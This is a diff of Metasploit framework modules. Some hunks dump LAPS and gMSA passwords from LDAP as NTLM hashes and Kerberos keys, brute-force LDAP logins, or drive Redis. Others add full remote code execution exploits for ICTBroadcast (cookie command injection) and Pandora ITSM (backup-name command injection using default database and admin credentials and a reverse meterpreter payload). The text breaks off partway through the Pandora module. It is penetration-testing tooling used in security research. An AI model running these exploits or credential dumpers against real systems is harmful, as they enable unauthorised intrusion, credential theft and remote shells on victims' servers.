||||
case attr
|
||||
when 'sambalmpassword'
|
||||
jtr_format = 'lm'
|
||||
artifacts.jtr_format = 'lm'
|
||||
artifacts.private_type = :nonreplayable_hash
|
||||
when 'sambantpassword'
|
||||
jtr_format = 'nt'
|
||||
artifacts.jtr_format = 'nt,lm'
|
||||
artifacts.private_type = :ntlm_hash
|
||||
artifacts.private_data = "#{BLANK_LM.unpack('H*')}:#{private_data}"
|
||||
when 'sambapasswordhistory'
|
||||
# 795471346779677A336879366B654870 1F18DC5E346FDA5E335D9AE207C82CC9
|
||||
# where the left part is a salt and the right part is MD5(Salt+NTHash)
|
||||
# attribute value may contain multiple concatenated history entries
|
||||
# for john sort of 'md5($s.md4(unicode($p)))' - not tested
|
||||
jtr_format = 'sambapasswordhistory'
|
||||
artifacts.jtr_format = 'sambapasswordhistory'
|
||||
artifacts.private_type = :nonreplayable_hash
|
||||
when 'krbprincipalkey'
|
||||
jtr_format = 'krbprincipal'
|
||||
artifacts.jtr_format = 'krbprincipal'
|
||||
artifacts.private_type = :nonreplayable_hash
|
||||
# TODO: krbprincipalkey is asn.1 encoded string. In case of vmware vcenter 6.7
|
||||
# it contains user password encrypted with (23) rc4-hmac and (18) aes256-cts-hmac-sha1-96:
|
||||
# https://github.com/vmware/lightwave/blob/d50d41edd1d9cb59e7b7cc1ad284b9e46bfa703d/vmdir/server/common/krbsrvutil.c#L480-L558
|
||||
# Salted with principal name:
|
||||
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
|
||||
# In the meantime, dump the base64 encoded value.
|
||||
private_data = Base64.strict_encode64(private_data)
|
||||
artifacts.private_data = Base64.strict_encode64(private_data)
|
||||
when 'ms-mcs-admpwd'
|
||||
# LAPSv1 doesn't store the name of the local administrator anywhere in LDAP. It's technically configurable via Group Policy, but we'll assume it's 'Administrator'.
|
||||
username = 'Administrator'
|
||||
annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['ms-mcs-admpwdexpirationtime'].first.to_i)})" if entry['ms-mcs-admpwdexpirationtime'].present?
|
||||
artifacts.public_data = 'Administrator'
|
||||
artifacts.annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['ms-mcs-admpwdexpirationtime'].first.to_i)})" if entry['ms-mcs-admpwdexpirationtime'].present?
|
||||
when 'msds-managedpassword'
|
||||
managed_password = MsdsManagedpasswordBlob.read(private_data)
|
||||
current_password = managed_password.buffer_fields[:current_password] # this field should always be present
|
||||
if current_password && (domain_dns_name = @ad_ds_domain_info&.fetch(:dns_name))
|
||||
artifacts = []
|
||||
sam_account_name = entry[:sAMAccountName].first.to_s
|
||||
|
||||
salt = "#{domain_dns_name.upcase}host#{sam_account_name.delete_suffix('$').downcase}.#{domain_dns_name.downcase}"
|
||||
encoded_current_password = current_password.force_encoding('UTF-16LE').encode('UTF-8', invalid: :replace, undef: :replace).force_encoding('ASCII-8BIT')
|
||||
|
||||
artifacts << SecretArtifact.new(
|
||||
public_data: username,
|
||||
private_data: "#{EMPTY_LM.unpack1('H*')}:#{OpenSSL::Digest::MD4.digest(current_password).unpack1('H*')}",
|
||||
private_type: :ntlm_hash,
|
||||
jtr_format: 'nt,lm'
|
||||
)
|
||||
|
||||
artifacts << SecretArtifact.new(
|
||||
public_data: username,
|
||||
private_data: Metasploit::Credential::KrbEncKey.build_data(
|
||||
enctype: Rex::Proto::Kerberos::Crypto::Encryption::AES256,
|
||||
key: aes256_cts_hmac_sha1_96(encoded_current_password, salt),
|
||||
salt: salt
|
||||
),
|
||||
private_type: :krb_enc_key
|
||||
)
|
||||
artifacts << SecretArtifact.new(
|
||||
public_data: username,
|
||||
private_data: Metasploit::Credential::KrbEncKey.build_data(
|
||||
enctype: Rex::Proto::Kerberos::Crypto::Encryption::AES128,
|
||||
key: aes128_cts_hmac_sha1_96(encoded_current_password, salt),
|
||||
salt: salt
|
||||
),
|
||||
private_type: :krb_enc_key
|
||||
)
|
||||
end
|
||||
when 'mslaps-password'
|
||||
begin
|
||||
lapsv2 = JSON.parse(private_data)
|
||||
@@ -309,34 +312,35 @@ class MetasploitModule < Msf::Auxiliary
|
||||
next
|
||||
end
|
||||
|
||||
username = lapsv2['n']
|
||||
private_data = lapsv2['p']
|
||||
annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
|
||||
artifacts.public_data = lapsv2['n']
|
||||
artifacts.private_data = lapsv2['p']
|
||||
artifacts.annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
|
||||
when 'mslaps-encryptedpassword'
|
||||
lapsv2 = process_result_lapsv2_encrypted(entry)
|
||||
next if lapsv2.nil?
|
||||
|
||||
username = lapsv2['n']
|
||||
private_data = lapsv2['p']
|
||||
annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
|
||||
artifacts.username = lapsv2['n']
|
||||
artifacts.private_data = lapsv2['p']
|
||||
artifacts.annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
|
||||
when 'userpkcs12'
|
||||
# if we get non printable chars, encode into base64
|
||||
# if we get non-printable chars, encode into base64
|
||||
if (private_data =~ /[^[:print:]]/).nil?
|
||||
jtr_format = 'pkcs12'
|
||||
artifacts.jtr_format = 'pkcs12'
|
||||
else
|
||||
jtr_format = 'pkcs12-base64'
|
||||
private_data = Base64.strict_encode64(private_data)
|
||||
artifacts.jtr_format = 'pkcs12-base64'
|
||||
artifacts.private_data = Base64.strict_encode64(private_data)
|
||||
end
|
||||
artifacts.private_type = :nonreplayable_hash
|
||||
else
|
||||
if private_data.start_with?(/{crypt}.?\$1\$/i)
|
||||
private_data.gsub!(/{crypt}.{,2}\$1\$/i, '$1$')
|
||||
jtr_format = 'md5crypt'
|
||||
artifacts.private_data.gsub!(/{crypt}.{,2}\$1\$/i, '$1$')
|
||||
artifacts.jtr_format = 'md5crypt'
|
||||
elsif private_data.start_with?(/{crypt}/i) && private_data.length == 20
|
||||
# handle {crypt}traditional_crypt case, i.e. explicitly set the hash format
|
||||
private_data.slice!(/{crypt}/i)
|
||||
artifacts.private_data.slice!(/{crypt}/i)
|
||||
# FIXME: what is the right jtr_hash - des,crypt or descrypt ?
|
||||
# identify_hash returns des,crypt, while JtR acceppts descrypt
|
||||
jtr_format = 'descrypt'
|
||||
artifacts.jtr_format = 'descrypt'
|
||||
# TODO: not sure if we shall slice the prefixes here or in the JtR/Hashcat formatter
|
||||
# elsif hash.start_with?(/{sha256}/i)
|
||||
# hash.slice!(/{sha256}/i)
|
||||
@@ -345,27 +349,51 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# handle vcenter vmdir binary hash format
|
||||
if private_data[0].ord == 1 && private_data.length == 81
|
||||
_type, private_data, salt = private_data.unpack('CH128H32')
|
||||
private_data = "$dynamic_82$#{private_data}$HEX$#{salt}"
|
||||
artifacts.private_data = "$dynamic_82$#{private_data}$HEX$#{salt}"
|
||||
else
|
||||
# Remove LDAP's {crypt} prefix from known hash types
|
||||
private_data.gsub!(/{crypt}.{,2}(\$[0256][aby]?\$)/i, '\1')
|
||||
artifacts.private_data.gsub!(/{crypt}.{,2}(\$[0256][aby]?\$)/i, '\1')
|
||||
end
|
||||
jtr_format = Metasploit::Framework::Hashes.identify_hash(private_data)
|
||||
artifacts.jtr_format = Metasploit::Framework::Hashes.identify_hash(artifacts.private_data)
|
||||
end
|
||||
artifacts.private_type = :nonreplayable_hash
|
||||
end
|
||||
|
||||
# highlight unresolved hashes
|
||||
jtr_format = '{crypt}' if private_data =~ /{crypt}/i
|
||||
print_good("Credentials (#{jtr_format.blank? ? 'password' : jtr_format}) found in #{attr}: #{username}:#{private_data} #{annotation}")
|
||||
Array.wrap(artifacts).each do |artifact|
|
||||
# highlight unresolved hashes
|
||||
artifact.jtr_format = '{crypt}' if artifact.private_data =~ /{crypt}/i
|
||||
|
||||
report_creds(username, private_data, jtr_format)
|
||||
case artifact.private_type
|
||||
when :krb_enc_key
|
||||
_, enctype, key, salt = artifact.private_data.split(':')
|
||||
formatted = "#{artifact.public_data}:#{Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[enctype.to_i]}:#{key}"
|
||||
when :password
|
||||
formatted = "#{artifact.public_data}:#{artifact.private_data}"
|
||||
else
|
||||
formatted = Metasploit::Framework::PasswordCracker::JtR::Formatter.params_to_jtr(
|
||||
artifact.public_data,
|
||||
artifact.private_data,
|
||||
artifact.private_type,
|
||||
format: artifact.jtr_format
|
||||
)
|
||||
if formatted.nil?
|
||||
formatted = "#{artifact.public_data}:#{artifact.private_data}"
|
||||
end
|
||||
end
|
||||
print_good("Credential found in #{attr}: #{formatted} #{artifact.annotation}")
|
||||
|
||||
report_creds(artifact.public_data, artifact.private_data, artifact.private_type, artifact.jtr_format)
|
||||
end
|
||||
|
||||
# only increment once because the iteration is per-attribute so report one credential found even if it's reported
|
||||
# in multiple formats
|
||||
creds_found += 1
|
||||
end
|
||||
|
||||
creds_found
|
||||
end
|
||||
|
||||
def report_creds(username, private_data, jtr_format)
|
||||
def report_creds(username, private_data, private_type, jtr_format)
|
||||
# this is the service the credentials came from, not necessarily where they can be used
|
||||
service_data = {
|
||||
address: rhost,
|
||||
@@ -380,7 +408,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
origin_type: :service,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
private_data: private_data,
|
||||
private_type: (jtr_format.nil? ? :password : :nonreplayable_hash),
|
||||
private_type: private_type,
|
||||
jtr_format: jtr_format,
|
||||
username: username
|
||||
}.merge(service_data)
|
||||
@@ -390,8 +418,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
credential_data[:realm_value] = @ad_ds_domain_info[:dns_name]
|
||||
end
|
||||
|
||||
cl = create_credential_and_login(credential_data)
|
||||
cl.respond_to?(:core_id) ? cl.core_id : nil
|
||||
create_credential_and_login(credential_data)
|
||||
end
|
||||
|
||||
def process_result_lapsv2_encrypted(result)
|
||||
@@ -465,6 +492,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
JSON.parse(RubySMB::Field::Stringz16.read(plaintext).value)
|
||||
end
|
||||
|
||||
SecretArtifact = Struct.new(:public_data, :private_data, :private_type, :jtr_format, :annotation)
|
||||
|
||||
# https://blog.xpnsec.com/lapsv2-internals/#:~:text=msLAPS%2DEncryptedPassword%20attribute
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/b6ea7b78-64da-48d3-87cb-2cff378e4597
|
||||
class LAPSv2EncryptedPasswordBlob < BinData::Record
|
||||
@@ -495,4 +524,47 @@ class MetasploitModule < Msf::Auxiliary
|
||||
model(:key_attr, Sequence)
|
||||
]
|
||||
end
|
||||
|
||||
# this is a partial implementation, processing the buffer and the fields is simplified to only support reading
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e
|
||||
class MsdsManagedpasswordBlob < BinData::Record
|
||||
endian :little
|
||||
hide :reserved
|
||||
|
||||
uint16 :version
|
||||
uint16 :reserved
|
||||
uint32 :blob_length
|
||||
uint16 :current_password_offset
|
||||
uint16 :previous_password_offset
|
||||
uint16 :query_password_interval_offset
|
||||
uint16 :unchanged_password_interval_offset
|
||||
|
||||
count_bytes_remaining :bytes_remaining
|
||||
string :buffer, read_length: -> { bytes_remaining }
|
||||
|
||||
def buffer_fields
|
||||
boffset = offset_of(buffer)
|
||||
bfield_offsets = {
|
||||
current_password: current_password_offset,
|
||||
previous_password: previous_password_offset,
|
||||
query_password_interval: query_password_interval_offset,
|
||||
unchanged_password_interval: unchanged_password_interval_offset
|
||||
}.sort_by { |_field, offset| offset }
|
||||
|
||||
bfields = {}
|
||||
bfield_offsets.each_cons(2) do |(field, offset), (_, next_offset)|
|
||||
next if offset == 0
|
||||
|
||||
bfields[field] = buffer[(offset - boffset)..(next_offset - boffset)]
|
||||
end
|
||||
last_field, last_offset = bfield_offsets.last
|
||||
bfields[last_field] = buffer[(last_offset - boffset)..] if last_offset != 0
|
||||
|
||||
bfields[:current_password] = bfields[:current_password].split("\x00\x00".b).first if bfields[:current_password]
|
||||
bfields[:previous_password] = bfields[:previous_password].split("\x00\x00".b).first if bfields[:previous_password]
|
||||
bfields[:query_password_interval] = bfields[:query_password_interval].unpack1('Q<') if bfields[:query_password_interval]
|
||||
bfields[:unchanged_password_interval] = bfields[:unchanged_password_interval].unpack1('Q<') if bfields[:unchanged_password_interval]
|
||||
bfields
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -62,7 +62,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'uri' => normalize_uri(target_uri.path, uri)
|
||||
})
|
||||
|
||||
next unless res&.code == 200
|
||||
next unless res&.code && res.code <= 500
|
||||
|
||||
page = res.get_html_document
|
||||
|
||||
@@ -110,7 +110,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
fail_with(Failure::NotFound, "Could not find a valid directory id within the range #{min_range} to #{max_range}")
|
||||
end
|
||||
|
||||
def run_host(_ip)
|
||||
def run
|
||||
# next line included for automatic inclusion into vulnerable plugins list
|
||||
# check_plugin_version_from_readme('ultimate-member', '2.8.3')
|
||||
print_status("Performing SQL injection for CVE-2024-1071 via the 'sorting' parameter...")
|
||||
|
||||
@@ -71,7 +71,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
validate_connect_options!
|
||||
results = super
|
||||
results = super || {}
|
||||
logins = results.flat_map { |_k, v| v[:successful_logins] }
|
||||
sessions = results.flat_map { |_k, v| v[:successful_sessions] }
|
||||
print_status("Bruteforce completed, #{logins.size} #{logins.size == 1 ? 'credential was' : 'credentials were'} successful.")
|
||||
@@ -111,6 +111,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
ignore_private: ignore_private
|
||||
)
|
||||
|
||||
pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: self)
|
||||
opts = {
|
||||
domain: datastore['LDAPDomain'],
|
||||
append_domain: datastore['APPEND_DOMAIN'],
|
||||
@@ -118,7 +119,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
proxies: datastore['PROXIES'],
|
||||
domain_controller_rhost: datastore['DomainControllerRhost'],
|
||||
ldap_auth: datastore['LDAP::Auth'],
|
||||
ldap_cert_file: datastore['LDAP::CertFile'],
|
||||
ldap_pkcs12: datastore['LDAP::CertFile'] ? pkcs12_storage.read_pkcs12_cert_path(datastore['LDAP::CertFile']) : nil,
|
||||
ldap_rhostname: datastore['Ldap::Rhostname'],
|
||||
ldap_krb_offered_enc_types: datastore['Ldap::KrbOfferedEncryptionTypes'],
|
||||
ldap_krb5_cname: datastore['Ldap::Krb5Ccname']
|
||||
@@ -167,7 +168,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
successful_logins << result
|
||||
if opts[:ldap_auth] == Msf::Exploit::Remote::AuthOption::SCHANNEL
|
||||
# Schannel auth has no meaningful credential information to store in the DB
|
||||
msg = opts[:ldap_cert_file].nil? ? 'Using stored certificate' : "Cert File #{opts[:ldap_cert_file]}"
|
||||
msg = opts[:ldap_pkcs12].nil? ? 'Using stored certificate' : "Cert File #{opts[:ldap_pkcs12][:path]} (#{opts[:ldap_pkcs12][:value].certificate.subject})"
|
||||
report_successful_login(
|
||||
public: opts[:ldap_pkcs12][:value].certificate.subject.to_s,
|
||||
private: opts[:ldap_pkcs12][:path]
|
||||
)
|
||||
print_brute level: :good, ip: ip, msg: "Success: '#{msg}'"
|
||||
else
|
||||
create_credential_and_login(credential_data) if result.credential.private
|
||||
|
||||
@@ -43,7 +43,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
vprint_status("Contacting redis")
|
||||
begin
|
||||
connect
|
||||
return unless (data = redis_command(command))
|
||||
# Split the input command into parts using space as the delimiter
|
||||
command_parts=command.split(' ')
|
||||
# Execute the Redis command using the split parts
|
||||
return unless (data = redis_command(*command_parts))
|
||||
|
||||
report_service(host: rhost, port: rport, name: "redis server", info: "#{command} response: #{data}")
|
||||
print_good("Found redis with #{command} command: #{Rex::Text.to_hex_ascii(data)}")
|
||||
|
||||
@@ -0,0 +1,123 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'ICTBroadcast Unauthenticated Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated remote code execution (RCE) vulnerability
|
||||
in ICTBroadcast. The vulnerability exists in the way session cookies are handled
|
||||
and processed, allowing an attacker to inject arbitrary system commands.
|
||||
},
|
||||
'Author' => [
|
||||
'Valentin Lobstein' # Metasploit module author and vulnerability discovery
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['URL', 'https://www.ictbroadcast.com/'],
|
||||
['CVE', '2025-2611']
|
||||
],
|
||||
'Platform' => %w[unix linux],
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix/Linux Command Shell',
|
||||
{
|
||||
'Platform' => %w[unix linux],
|
||||
'Arch' => ARCH_CMD
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2025-03-19',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def get_valid_cookies
|
||||
@get_valid_cookies ||= begin
|
||||
print_status('Retrieving session cookies dynamically')
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'login.php')
|
||||
)
|
||||
fail_with(Failure::UnexpectedReply, 'No response from server') unless res
|
||||
|
||||
if (cookies = res.get_cookies)
|
||||
cookie_jar.clear
|
||||
cookie_jar.parse_and_merge(
|
||||
cookies,
|
||||
"#{datastore['SSL'] ? 'https' : 'http'}://#{rhost}:#{rport}"
|
||||
)
|
||||
print_status("Found cookies: #{cookie_jar.cookies.map(&:to_s).join('; ')}")
|
||||
end
|
||||
|
||||
cookie_jar
|
||||
end
|
||||
end
|
||||
|
||||
def inject_command(command)
|
||||
jar = get_valid_cookies
|
||||
return if jar.empty?
|
||||
|
||||
jar.cookies.each do |c|
|
||||
original = c.value
|
||||
c.value = "`echo${IFS}#{Rex::Text.encode_base64(command)}|base64${IFS}-d|sh`"
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'login.php'),
|
||||
'cookie_jar' => jar
|
||||
)
|
||||
|
||||
c.value = original
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
print_status('Checking ICTBroadcast via JS fingerprints')
|
||||
|
||||
fingerprint_found = %w[
|
||||
IVRDesigner.js agent.js campaign.js campaign_feedback.js
|
||||
campaign_integration.js phone.js supervisor.js trunk.js
|
||||
].any? do |file|
|
||||
uri = normalize_uri(target_uri.path, 'js', file)
|
||||
res = send_request_cgi!('method' => 'GET', 'uri' => uri)
|
||||
res&.code == 200 && res.body.include?('ICT Innovations')
|
||||
end
|
||||
|
||||
return CheckCode::Safe unless fingerprint_found
|
||||
|
||||
print_good('JS fingerprint found; performing timing tests')
|
||||
|
||||
[3, 4, 5].sample(2).each do |t|
|
||||
start = Time.now
|
||||
inject_command("sleep #{t}")
|
||||
if Time.now - start >= (t - 0.3)
|
||||
return CheckCode::Vulnerable("Injected RCE (slept #{t}s)")
|
||||
end
|
||||
end
|
||||
|
||||
CheckCode::Appears('Fingerprint present but timing did not match')
|
||||
end
|
||||
|
||||
def exploit
|
||||
inject_command(payload.encoded)
|
||||
end
|
||||
end
|
||||
@@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => '2025-12-30',
|
||||
'DisclosureDate' => '2025-06-27',
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 80,
|
||||
|
||||
@@ -0,0 +1,324 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/proto/mysql/client'
|
||||
require 'digest/md5'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include BCrypt
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
# @!attribute [rw] mysql_client
|
||||
# @return [::Rex::Proto::MySQL::Client]
|
||||
attr_accessor :mysql_client
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Pandora ITSM authenticated command injection leading to RCE via the backup function',
|
||||
'Description' => %q{
|
||||
Pandora ITSM is a platform for Service Management & Support including a Helpdesk for support
|
||||
and customer service teams, aligned with ITIL processes.
|
||||
This module exploits a command injection vulnerability in the `name` backup setting at the
|
||||
application setup page of Pandora ITSM. This can be triggered by generating a backup with a
|
||||
malicious payload injected at the `name` parameter.
|
||||
You need to have admin access at the Pandora ITSM Web application in order to execute this RCE.
|
||||
This access can be achieved by knowing the admin credentials to access the web application or
|
||||
leveraging a default password vulnerability in Pandora ITSM that allows an attacker to access
|
||||
the Pandora FMS ITSM database, create a new admin user and gain administrative access to the
|
||||
Pandora ITSM Web application. This attack can be remotely executed over the WAN as long as the
|
||||
MySQL services are exposed to the outside world.
|
||||
This issue affects all ITSM Enterprise editions up to `5.0.105` and is patched at `5.0.106`.
|
||||
},
|
||||
'Author' => [
|
||||
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2025-4653'],
|
||||
['URL', 'https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/'],
|
||||
['URL', 'https://github.com/h00die-gr3y/h00die-gr3y/security/advisories/GHSA-m4f8-9c8x-8f3f'],
|
||||
['URL', 'https://attackerkb.com/topics/wgCb1QQm1t/cve-2025-4653']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Privileged' => false,
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix/Linux Command',
|
||||
{
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
|
||||
},
|
||||
'Payload' => {
|
||||
'Encoder' => 'cmd/base64',
|
||||
'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2025-06-10',
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true,
|
||||
'RPORT' => 443
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
||||
'Reliability' => [REPEATABLE_SESSION]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to the Pandora ITSM application', '/pandoraitsm']),
|
||||
OptString.new('DB_USER', [true, 'Pandora database admin user', 'pandoraitsm']),
|
||||
OptString.new('DB_PASSWORD', [true, 'Pandora database admin password', 'P4ndor4.itsm']),
|
||||
OptString.new('DB_NAME', [true, 'Pandora database', 'pandoraitsm']),
|
||||
OptPort.new('DB_PORT', [true, 'MySQL database port', 3306]),
|
||||
OptString.new('USERNAME', [false, 'Pandora web admin user', 'admin']),
|
||||
OptString.new('PASSWORD', [false, 'Pandora web admin password', 'integria'])
|
||||
])
|
||||
end
|
||||
|
||||
# MySQL login
|
||||
# @param [String] host
|
||||
# @param [String] user
|
||||
# @param [String] password
|
||||
# @param [String] db
|
||||
# @param [String] port
|
||||
# @return [TrueClass|FalseClass] true if login successful, else false
|
||||
def mysql_login(host, user, password, db, port)
|
||||
begin
|
||||
self.mysql_client = ::Rex::Proto::MySQL::Client.connect(host, user, password, db, port)
|
||||
rescue Errno::ECONNREFUSED
|
||||
print_error('MySQL connection refused')
|
||||
return false
|
||||
rescue ::Rex::Proto::MySQL::Client::ClientError
|
||||
print_error('MySQL connection timedout')
|
||||
return false
|
||||
rescue Errno::ETIMEDOUT
|
||||
print_error('Operation timedout')
|
||||
return false
|
||||
rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged
|
||||
print_error('Unable to login from this host due to policy')
|
||||
return false
|
||||
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
|
||||
print_error('MySQL Access denied')
|
||||
return false
|
||||
rescue StandardError => e
|
||||
print_error("Unknown error: #{e.message}")
|
||||
return false
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
# MySQL query
|
||||
# @param [String] sql
|
||||
# @return [query|nil|FalseClass] if sql query successful (can be nil), else false
|
||||
def mysql_query(sql)
|
||||
begin
|
||||
res = mysql_client.query(sql)
|
||||
rescue ::Rex::Proto::MySQL::Client::Error => e
|
||||
print_error("MySQL Error: #{e.class} #{e}")
|
||||
return false
|
||||
rescue Rex::ConnectionTimeout => e
|
||||
print_error("Timeout: #{e.message}")
|
||||
return false
|
||||
rescue StandardError => e
|
||||
print_error("Unknown error: #{e.message}")
|
||||
return false
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
# login at the Pandora ITSM web application
|
||||
# @param [String] name
|
||||
# @param [String] pwd
|
||||
# @return [TrueClass|FalseClass] true if login successful, else false
|
||||
def pandoraitsm_login(name, pwd)
|
||||
res = send_request_cgi!({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'login' => 1,
|
||||
'nick' => name,
|
||||
'pass' => pwd,
|
||||
'Login' => 'LOG IN'
|
||||
}
|
||||
})
|
||||
return false unless res&.code == 200
|
||||
|
||||
res.body.include?('godmode')
|
||||
end
|
||||
|
||||
# CVE-2025-4653: Command Injection leading to RCE via the backup "name" parameter triggered by the backup function
|
||||
def execute_payload(cmd)
|
||||
@rce_payload = ";#{cmd};#"
|
||||
vprint_status("RCE payload: #{@rce_payload}")
|
||||
@clean_payload = true
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'keep_cookies' => true,
|
||||
'vars_get' => {
|
||||
'sec' => 'godmode',
|
||||
'sec2' => 'enterprise/godmode/setup/backup_manager'
|
||||
},
|
||||
'vars_post' => {
|
||||
'name' => @rce_payload.to_s,
|
||||
'mode' => 1,
|
||||
'mail' => nil,
|
||||
'create_backup' => 1,
|
||||
'create' => 'Do a backup now'
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# clean-up the payload entries in the backup list by removing the backup name from the list
|
||||
# it also handles multiple entries (leftovers from previous attacks)
|
||||
def clean_rce_payload(payload)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'keep_cookies' => true,
|
||||
'vars_get' => {
|
||||
'sec' => 'godmode',
|
||||
'sec2' => 'enterprise/godmode/setup/integria_backup'
|
||||
}
|
||||
})
|
||||
|
||||
unless res&.code == 200 && res.body.include?(payload.slice(0..4)) # just take the first 5 chars (;echo) as match
|
||||
vprint_status('No payload entries found at the backup list.')
|
||||
return
|
||||
end
|
||||
|
||||
html = res.get_html_document
|
||||
target_rows = html.css('table.dataTable tbody tr').select do |row|
|
||||
name_backup = row.at_css('td')
|
||||
name_backup && name_backup.text.strip.include?(payload.slice(0..4))
|
||||
end
|
||||
|
||||
# Get the backup entry based on the href from <a> tags with an onclick attribute
|
||||
if target_rows.any?
|
||||
backup_entry = target_rows.flat_map do |row|
|
||||
row.css('a[onclick]').map { |a| a['href'] }
|
||||
end
|
||||
else
|
||||
vprint_status('No payload entries found at the backup list.')
|
||||
return
|
||||
end
|
||||
vprint_status(backup_entry.to_s)
|
||||
success = true
|
||||
backup_entry.each do |entry|
|
||||
id_bk_param = entry.match(/id_bk=\d*/)
|
||||
next unless id_bk_param
|
||||
|
||||
id_bk = id_bk_param[0].split('=')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'keep_cookies' => true,
|
||||
'vars_get' => {
|
||||
'sec' => 'godmode',
|
||||
'sec2' => 'enterprise/godmode/setup/integria_backup',
|
||||
'offset' => 0,
|
||||
'remove' => 1,
|
||||
id_bk[0].to_s => id_bk[1].to_s
|
||||
}
|
||||
})
|
||||
